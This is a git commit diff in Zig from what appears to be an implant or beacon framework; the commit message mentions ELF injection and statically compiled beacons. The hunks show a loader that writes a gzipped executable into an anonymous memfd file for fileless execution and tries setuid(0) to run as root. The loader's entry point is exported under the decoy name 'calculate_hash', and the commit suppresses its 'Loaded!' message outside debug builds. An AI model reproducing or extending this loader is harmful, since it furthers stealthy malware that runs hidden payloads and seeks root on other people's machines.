feat: fixed server comp, added ELF inject

I gave up and just put it in a Docker image, it's not as important as
the beacons being statically compiled
This commit is contained in:
Andrew Rioux
2025-02-04 16:41:20 -05:00
parent 00331ec550
commit 90c8b97141
53 changed files with 1477 additions and 94 deletions

View File

@@ -13,7 +13,7 @@ const config = @import("config");
fn open_temp() !std.fs.File {
switch (builtin.os.tag) {
.linux => {
const fd = posix.memfd_create("", 0);
const fd = try posix.memfd_create("", 0);
return std.fs.File{ .handle = fd };
},
else => {
@@ -69,7 +69,7 @@ fn use_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
uid = std.os.linux.syscall0(.getuid);
try posix.setuid(0);
if (std.os.linux.syscall0() != 0) {
if (std.os.linux.syscall0(.getuid) != 0) {
return;
}
}
@@ -97,7 +97,7 @@ fn use_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
}
if (builtin.os.tag == .linux) {
try posix.setuid(uid);
try posix.setuid(@intCast(uid & 0xFFFF));
}
}
}

View File

@@ -21,7 +21,9 @@ fn fill_parameters() !void {
}
export fn calculate_hash() callconv(.C) void {
std.io.getStdOut().writeAll("Loaded!") catch {};
if (dbg) {
std.io.getStdOut().writeAll("Loaded!") catch {};
}
fill_parameters() catch |err| {
if (dbg) {
std.debug.print("Error calculating hash! {any}", .{err});